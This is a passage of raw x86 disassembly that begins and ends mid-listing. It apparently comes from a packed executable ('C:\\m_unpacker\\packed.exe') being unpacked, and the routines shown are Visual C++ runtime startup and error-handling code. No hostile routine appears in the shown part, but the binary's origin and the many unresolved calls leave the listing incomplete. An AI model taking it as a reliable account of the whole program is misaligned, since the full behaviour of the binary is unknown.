[ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx jnb short loc_422E6F cmp [eax], edx jz short locret_422E71 loc_422E6F: ; CODE XREF: sub_422E2F+3Aj xor eax, eax locret_422E71: ; CODE XREF: sub_422E2F+3Ej retn sub_422E2F endp ; --------------------------------------------------------------------------- cmp dword_4DC914, 0 jnz short loc_422E80 call sub_42026D loc_422E80: ; CODE XREF: ___:00422E79j push esi mov esi, dword_4DC90C mov al, [esi] cmp al, 22h jnz short loc_422EB2 loc_422E8D: ; CODE XREF: ___:00422EA5j ; ___:00422EA8j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422EAA test al, al jz short loc_422EAA movzx eax, al push eax call sub_424D36 test eax, eax pop ecx jz short loc_422E8D inc esi jmp short loc_422E8D ; --------------------------------------------------------------------------- loc_422EAA: ; CODE XREF: ___:00422E93j ; ___:00422E97j cmp byte ptr [esi], 22h jnz short loc_422EBC loc_422EAF: ; CODE XREF: ___:00422EC4j inc esi jmp short loc_422EBC ; --------------------------------------------------------------------------- loc_422EB2: ; CODE XREF: ___:00422E8Bj cmp al, 20h jbe short loc_422EBC loc_422EB6: ; CODE XREF: ___:00422EBAj inc esi cmp byte ptr [esi], 20h ja short loc_422EB6 loc_422EBC: ; CODE XREF: ___:00422EADj ; ___:00422EB0j ... mov al, [esi] test al, al jz short loc_422EC6 cmp al, 20h jbe short loc_422EAF loc_422EC6: ; CODE XREF: ___:00422EC0j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422EDC call sub_42026D loc_422EDC: ; CODE XREF: ___:00422ED5j mov esi, dword_4DB2E8 xor edi, edi loc_422EE4: ; CODE XREF: ___:00422EFAj mov al, [esi] cmp al, bl jz short loc_422EFC cmp al, 3Dh jz short loc_422EEF inc edi loc_422EEF: ; CODE XREF: ___:00422EECj push esi call sub_41AFE0 pop ecx lea esi, [esi+eax+1] jmp short loc_422EE4 ; --------------------------------------------------------------------------- loc_422EFC: ; CODE XREF: ___:00422EE8j lea eax, ds:4[edi*4] push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DB2A0, esi jnz short loc_422F1E push 9 call sub_41DA29 pop ecx loc_422F1E: ; CODE XREF: ___:00422F14j mov edi, dword_4DB2E8 cmp [edi], bl jz short loc_422F61 push ebp loc_422F29: ; CODE XREF: ___:00422F5Ej push edi call sub_41AFE0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422F5A push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422F4D push 9 call sub_41DA29 pop ecx loc_422F4D: ; CODE XREF: ___:00422F43j push edi push dword ptr [esi] call sub_41BEB0 pop ecx add esi, 4 pop ecx loc_422F5A: ; CODE XREF: ___:00422F36j add edi, ebp cmp [edi], bl jnz short loc_422F29 pop ebp loc_422F61: ; CODE XREF: ___:00422F26j push dword_4DB2E8 call sub_41B0B1 pop ecx mov dword_4DB2E8, ebx mov [esi], ebx pop edi pop esi mov dword_4DC910, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422F9A call sub_42026D loc_422F9A: ; CODE XREF: ___:00422F93j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2660000h mov eax, dword_4DC90C mov off_4DB2B0, esi mov edi, esi cmp [eax], bl jz short loc_422FBF mov edi, eax loc_422FBF: ; CODE XREF: ___:00422FBBj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_42301C mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41B4D5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422FEF push 8 call sub_41DA29 pop ecx loc_422FEF: ; CODE XREF: ___:00422FE5j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42301C mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DB298, esi pop edi pop esi mov dword_4DB294, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42301C proc near ; CODE XREF: ___:00422FCAp ; ___:00423000p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423046 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423046: ; CODE XREF: sub_42301C+20j cmp byte ptr [eax], 22h jnz short loc_42308F loc_42304B: ; CODE XREF: sub_42301C+58j ; sub_42301C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42307D test dl, dl jz short loc_42307D movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_423070 inc dword ptr [ecx] test esi, esi jz short loc_423070 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423070: ; CODE XREF: sub_42301C+46j ; sub_42301C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42304B mov dl, [eax] mov [esi], dl inc esi jmp short loc_42304B ; --------------------------------------------------------------------------- loc_42307D: ; CODE XREF: sub_42301C+36j ; sub_42301C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423087 and byte ptr [esi], 0 inc esi loc_423087: ; CODE XREF: sub_42301C+65j cmp byte ptr [eax], 22h jnz short loc_4230D2 inc eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_42308F: ; CODE XREF: sub_42301C+2Dj ; sub_42301C+A5j inc dword ptr [ecx] test esi, esi jz short loc_42309A mov dl, [eax] mov [esi], dl inc esi loc_42309A: ; CODE XREF: sub_42301C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_4230B5 inc dword ptr [ecx] test esi, esi jz short loc_4230B4 mov bl, [eax] mov [esi], bl inc esi loc_4230B4: ; CODE XREF: sub_42301C+91j inc eax loc_4230B5: ; CODE XREF: sub_42301C+8Bj cmp dl, 20h jz short loc_4230C3 test dl, dl jz short loc_4230C7 cmp dl, 9 jnz short loc_42308F loc_4230C3: ; CODE XREF: sub_42301C+9Cj test dl, dl jnz short loc_4230CA loc_4230C7: ; CODE XREF: sub_42301C+A0j dec eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_4230CA: ; CODE XREF: sub_42301C+A9j test esi, esi jz short loc_4230D2 and byte ptr [esi-1], 0 loc_4230D2: ; CODE XREF: sub_42301C+6Ej ; sub_42301C+71j ... and [ebp+arg_10], 0 loc_4230D6: ; CODE XREF: sub_42301C+19Ej cmp byte ptr [eax], 0 jz loc_4231BF loc_4230DF: ; CODE XREF: sub_42301C+D0j mov dl, [eax] cmp dl, 20h jz short loc_4230EB cmp dl, 9 jnz short loc_4230EE loc_4230EB: ; CODE XREF: sub_42301C+C8j inc eax jmp short loc_4230DF ; --------------------------------------------------------------------------- loc_4230EE: ; CODE XREF: sub_42301C+CDj cmp byte ptr [eax], 0 jz loc_4231BF test edi, edi jz short loc_423103 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423103: ; CODE XREF: sub_42301C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423108: ; CODE XREF: sub_42301C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423111: ; CODE XREF: sub_42301C+FCj cmp byte ptr [eax], 5Ch jnz short loc_42311A inc eax inc ebx jmp short loc_423111 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_42301C+F8j cmp byte ptr [eax], 22h jnz short loc_42314B test bl, 1 jnz short loc_423149 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423138 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423138 mov eax, edx jmp short loc_42313B ; --------------------------------------------------------------------------- loc_423138: ; CODE XREF: sub_42301C+10Dj ; sub_42301C+116j mov [ebp+arg_0], edi loc_42313B: ; CODE XREF: sub_42301C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423149: ; CODE XREF: sub_42301C+106j shr ebx, 1 loc_42314B: ; CODE XREF: sub_42301C+101j mov edx, ebx dec ebx test edx, edx jz short loc_423160 inc ebx loc_423153: ; CODE XREF: sub_42301C+142j test esi, esi jz short loc_42315B mov byte ptr [esi], 5Ch inc esi loc_42315B: ; CODE XREF: sub_42301C+139j inc dword ptr [ecx] dec ebx jnz short loc_423153 loc_423160: ; CODE XREF: sub_42301C+134j mov dl, [eax] test dl, dl jz short loc_4231B0 cmp [ebp+arg_10], 0 jnz short loc_423176 cmp dl, 20h jz short loc_4231B0 cmp dl, 9 jz short loc_4231B0 loc_423176: ; CODE XREF: sub_42301C+14Ej cmp [ebp+arg_0], 0 jz short loc_4231AA test esi, esi jz short loc_423199 movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_423192 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423192: ; CODE XREF: sub_42301C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4231A8 ; --------------------------------------------------------------------------- loc_423199: ; CODE XREF: sub_42301C+162j movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_4231A8 inc eax inc dword ptr [ecx] loc_4231A8: ; CODE XREF: sub_42301C+17Bj ; sub_42301C+187j inc dword ptr [ecx] loc_4231AA: ; CODE XREF: sub_42301C+15Ej inc eax jmp loc_423108 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: sub_42301C+148j ; sub_42301C+153j ... test esi, esi jz short loc_4231B8 and byte ptr [esi], 0 inc esi loc_4231B8: ; CODE XREF: sub_42301C+196j inc dword ptr [ecx] jmp loc_4230D6 ; --------------------------------------------------------------------------- loc_4231BF: ; CODE XREF: sub_42301C+BDj ; sub_42301C+D5j test edi, edi jz short loc_4231C6 and dword ptr [edi], 0 loc_4231C6: ; CODE XREF: sub_42301C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42301C endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DB458 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42321E call ebp mov esi, eax cmp esi, ebx jz short loc_4231FF mov dword_4DB458, 1 jmp short loc_423227 ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: ___:004231F1j call near ptr 2630000h nop mov edi, eax cmp edi, ebx jz loc_4232F9 mov dword_4DB458, 2 jmp loc_4232AD ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: ___:004231E9j cmp eax, 1 jnz loc_4232A8 loc_423227: ; CODE XREF: ___:004231FDj cmp esi, ebx jnz short loc_423237 call ebp mov esi, eax cmp esi, ebx jz loc_4232F9 loc_423237: ; CODE XREF: ___:00423229j cmp [esi], bx mov eax, esi jz short loc_42324C loc_42323E: ; CODE XREF: ___:00423243j ; ___:0042324Aj inc eax inc eax cmp [eax], bx jnz short loc_42323E inc eax inc eax cmp [eax], bx jnz short loc_42323E loc_42324C: ; CODE XREF: ___:0042323Cj sub eax, esi mov edi, dword_42717C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_42329D push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_42329D push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423299 push dword ptr [esp+10h] call sub_41B0B1 pop ecx mov [esp+10h], ebx loc_423299: ; CODE XREF: ___:00423289j mov ebx, [esp+10h] loc_42329D: ; CODE XREF: ___:00423269j ; ___:00423278j push esi nop call near ptr 263023Ah mov eax, ebx jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232A8: ; CODE XREF: ___:00423221j cmp eax, 2 jnz short loc_4232F9 loc_4232AD: ; CODE XREF: ___:00423219j cmp edi, ebx jnz short loc_4232BD nop call near ptr 2630000h mov edi, eax cmp edi, ebx jz short loc_4232F9 loc_4232BD: ; CODE XREF: ___:004232AFj cmp [edi], bl mov eax, edi jz short loc_4232CD loc_4232C3: ; CODE XREF: ___:004232C6j ; ___:004232CBj inc eax cmp [eax], bl jnz short loc_4232C3 inc eax cmp [eax], bl jnz short loc_4232C3 loc_4232CD: ; CODE XREF: ___:004232C1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4232E3 xor esi, esi jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E3: ; CODE XREF: ___:004232DDj push ebp push edi push esi call sub_41C310 add esp, 0Ch loc_4232EE: ; CODE XREF: ___:004232E1j push edi call near ptr 263029Eh nop mov eax, esi jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232F9: ; CODE XREF: ___:00423209j ; ___:00423231j ... xor eax, eax loc_4232FB: ; CODE XREF: ___:004232A6j ; ___:004232F7j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_423322 push 1Bh call sub_41DA29 pop ecx loc_423322: ; CODE XREF: ___:00423318j mov dword_4DC5C0, esi mov dword_4DC6C0, 20h lea eax, [esi+100h] loc_423338: ; CODE XREF: ___:00423354j cmp esi, eax jnb short loc_423356 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DC5C0 add esi, 8 add eax, 100h jmp short loc_423338 ; --------------------------------------------------------------------------- loc_423356: ; CODE XREF: ___:0042333Aj lea eax, [esp+10h] push eax nop call near ptr 2870000h cmp word ptr [esp+42h], 0 jz loc_423432 mov eax, [esp+44h] test eax, eax jz loc_423432 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_42338C mov esi, eax loc_42338C: ; CODE XREF: ___:00423388j cmp dword_4DC6C0, esi jge short loc_4233E6 mov edi, offset dword_4DC5C4 loc_423399: ; CODE XREF: ___:004233DCj push 100h call sub_41B4D5 test eax, eax pop ecx jz short loc_4233E0 add dword_4DC6C0, 20h mov [edi], eax lea ecx, [eax+100h] loc_4233B7: ; CODE XREF: ___:004233D1j cmp eax, ecx jnb short loc_4233D3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4233B7 ; --------------------------------------------------------------------------- loc_4233D3: ; CODE XREF: ___:004233B9j add edi, 4 cmp dword_4DC6C0, esi jl short loc_423399 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_4233E0: ; CODE XREF: ___:004233A6j mov esi, dword_4DC6C0 loc_4233E6: ; CODE XREF: ___:00423392j ; ___:004233DEj xor edi, edi test esi, esi jle short loc_423432 loc_4233EC: ; CODE XREF: ___:00423430j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423429 mov cl, [ebp+0] test cl, 1 jz short loc_423429 test cl, 8 jnz short loc_42340B push eax nop call near ptr 2620248h test eax, eax jz short loc_423429 loc_42340B: ; CODE XREF: ___:004233FEj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423429: ; CODE XREF: ___:004233F1j ; ___:004233F9j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4233EC loc_423432: ; CODE XREF: ___:00423367j ; ___:00423373j ... xor ebx, ebx loc_423434: ; CODE XREF: ___:00423497j mov eax, dword_4DC5C0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_42348F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42344F push 0FFFFFFF6h pop eax jmp short loc_423459 ; --------------------------------------------------------------------------- loc_42344F: ; CODE XREF: ___:00423448j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423459: ; CODE XREF: ___:0042344Dj push eax nop call near ptr 2620ABBh mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42347E push edi nop call near ptr 2620248h test eax, eax jz short loc_42347E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423484 loc_42347E: ; CODE XREF: ___:00423465j ; ___:00423470j or byte ptr [esi+4], 40h jmp short loc_423493 ; --------------------------------------------------------------------------- loc_423484: ; CODE XREF: ___:0042347Cj cmp eax, 3 jnz short loc_423493 or byte ptr [esi+4], 8 jmp short loc_423493 ; --------------------------------------------------------------------------- loc_42348F: ; CODE XREF: ___:00423440j or byte ptr [esi+4], 80h loc_423493: ; CODE XREF: ___:00423482j ; ___:00423487j ... inc ebx cmp ebx, 3 jl short loc_423434 push dword_4DC6C0 call near ptr 2620D30h nop pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao ; sub_42218C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4234EB: ; CODE XREF: sub_4234B8+90j cmp esi, 0FFFFFFFFh jz short loc_423551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42353F js short loc_42354A mov edi, [ebx+8] push ebx call sub_41CB74 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CBB6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CC4A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42353F: ; CODE XREF: sub_4234B8+40j ; sub_4234B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4234EB ; --------------------------------------------------------------------------- loc_42354A: ; CODE XREF: sub_4234B8+54j mov eax, 0 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423551: ; CODE XREF: sub_4234B8+36j mov eax, 1 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423558: ; CODE XREF: sub_4234B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CBB6 add esp, 8 pop ebp mov eax, 1 loc_42356D: ; CODE XREF: sub_4234B8+97j ; sub_4234B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CBB6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423590 proc near ; CODE XREF: sub_41DA29+9p mov eax, dword_4DB2F0 cmp eax, 1 jz short loc_4235A7 test eax, eax jnz short locret_4235C8 cmp dword_43A2C4, 1 jnz short locret_4235C8 loc_4235A7: ; CODE XREF: sub_423590+8j push 0FCh call sub_4235C9 mov eax, dword_4DB45C pop ecx test eax, eax jz short loc_4235BD call eax loc_4235BD: ; CODE XREF: sub_423590+29j push 0FFh call sub_4235C9 pop ecx locret_4235C8: ; CODE XREF: sub_423590+Cj ; sub_423590+15j retn sub_423590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p ; sub_423590+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43C958 loc_4235DC: ; CODE XREF: sub_4235C9+20j cmp edx, [eax] jz short loc_4235EB add eax, 8 inc ecx cmp eax, offset off_43C9E8 jl short loc_4235DC loc_4235EB: ; CODE XREF: sub_4235C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43C958[esi] jnz loc_423719 mov eax, dword_4DB2F0 cmp eax, 1 jz loc_4236F3 test eax, eax jnz short loc_42361C cmp dword_43A2C4, 1 jz loc_4236F3 loc_42361C: ; CODE XREF: sub_4235C9+44j cmp edx, 0FCh jz loc_423719 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2660000h test eax, eax jnz short loc_423653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BEB0 pop ecx pop ecx loc_423653: ; CODE XREF: sub_4235C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41AFE0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423696 lea eax, [ebp+var_1A4] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B5F0 add esp, 10h loc_423696: ; CODE XREF: sub_4235C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41BEB0 lea eax, [ebp+var_A0] push edi push eax call sub_41BEC0 lea eax, [ebp+var_A0] push offset asc_427C10 ; "\n\n" push eax call sub_41BEC0 push off_43C95C[esi] lea eax, [ebp+var_A0] push eax call sub_41BEC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424D78 add esp, 2Ch pop edi jmp short loc_423719 ; --------------------------------------------------------------------------- loc_4236F3: ; CODE XREF: sub_4235C9+3Cj ; sub_4235C9+4Dj lea eax, [ebp+arg_0] lea esi, off_43C95C[esi] push 0 push eax push dword ptr [esi] call sub_41AFE0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 2620ABBh nop push eax call near ptr 26E0000h nop loc_423719: ; CODE XREF: sub_4235C9+2Ej ; sub_4235C9+59j ... pop esi leave retn sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DC5C0 loc_42372B: ; CODE XREF: sub_42371C+48j mov eax, [ecx] test eax, eax jz short loc_423768 lea edx, [eax+100h] loc_423737: ; CODE XREF: sub_42371C+28j cmp eax, edx jnb short loc_423757 test byte ptr [eax+4], 1 jz short loc_423746 add eax, 8 jmp short loc_423737 ; --------------------------------------------------------------------------- loc_423746: ; CODE XREF: sub_42371C+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4237AB loc_423757: ; CODE XREF: sub_42371C+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DC6C0 jl short loc_42372B jmp short loc_4237AB ; --------------------------------------------------------------------------- loc_423768: ; CODE XREF: sub_42371C+13j mov esi, 100h push esi call sub_41B4D5 test eax, eax pop ecx jz short loc_4237AB add dword_4DC6C0, 20h lea ecx, ds:4DC5C0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_42378E: ; CODE XREF: sub_42371C+88j cmp eax, edx jnb short loc_4237A6 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_42378E ; --------------------------------------------------------------------------- loc_4237A6: ; CODE XREF: sub_42371C+74j shl edi, 5 mov ebx, edi loc_4237AB: ; CODE XREF: sub_42371C+39j ; sub_42371C+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 push edi jnb short loc_423811 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423811 cmp dword_43A2C4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423807 sub eax, 0 jz short loc_4237FE dec eax jz short loc_4237F9 dec eax jnz short loc_423807 push ebx push 0FFFFFFF4h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237F9: ; CODE XREF: sub_4237B1+3Ej push ebx push 0FFFFFFF5h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237FE: ; CODE XREF: sub_4237B1+3Bj push ebx push 0FFFFFFF6h loc_423801: ; CODE XREF: sub_4237B1+46j ; sub_4237B1+4Bj call near ptr 2620000h nop loc_423807: ; CODE XREF: sub_4237B1+36j ; sub_4237B1+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423825 ; --------------------------------------------------------------------------- loc_423811: ; CODE XREF: sub_4237B1+Cj ; sub_4237B1+28j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_423825: ; CODE XREF: sub_4237B1+5Ej pop edi pop esi retn sub_4237B1 endp ; =============== S U B R O U T I N E ======================================= sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DC6C0 push edi jnb short loc_42388B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42388B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42388B cmp dword_43A2C4, 1 jnz short loc_423881 xor eax, eax sub ecx, eax jz short loc_423878 dec ecx jz short loc_423873 dec ecx jnz short loc_423881 push eax push 0FFFFFFF4h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423873: ; CODE XREF: sub_423828+41j push eax push 0FFFFFFF5h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423878: ; CODE XREF: sub_423828+3Ej push eax push 0FFFFFFF6h loc_42387B: ; CODE XREF: sub_423828+49j ; sub_423828+4Ej call near ptr 2620000h nop loc_423881: ; CODE XREF: sub_423828+38j ; sub_423828+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42389F ; --------------------------------------------------------------------------- loc_42388B: ; CODE XREF: sub_423828+Cj ; sub_423828+2Aj ... and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_42389F: ; CODE XREF: sub_423828+61j pop edi pop esi retn sub_423828 endp ; =============== S U B R O U T I N E ======================================= sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p ; sub_41DA72+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jnb short loc_4238CA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4238CA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_4238A2+Aj ; sub_4238A2+23j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh retn sub_4238A2 endp ; =============== S U B R O U T I N E ======================================= sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jnb short loc_423928 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423928 push eax call sub_4238A2 pop ecx push eax call near ptr 261087Ah nop test eax, eax jnz short loc_42391D nop call near ptr 26709C5h jmp short loc_42391F ; --------------------------------------------------------------------------- loc_42391D: ; CODE XREF: sub_4238DF+34j xor eax, eax loc_42391F: ; CODE XREF: sub_4238DF+3Cj test eax, eax jz short locret_423935 mov dword_4DB27C, eax loc_423928: ; CODE XREF: sub_4238DF+Aj ; sub_4238DF+22j mov dword_4DB278, 9 or eax, 0FFFFFFFFh locret_423935: ; CODE XREF: sub_4238DF+42j retn sub_4238DF endp ; =============== S U B R O U T I N E ======================================= sub_423936 proc near ; DATA XREF: ___:00429024o mov eax, dword_4DC5A0 push esi push 14h test eax, eax pop esi jnz short loc_42394A mov eax, 200h jmp short loc_423950 ; --------------------------------------------------------------------------- loc_42394A: ; 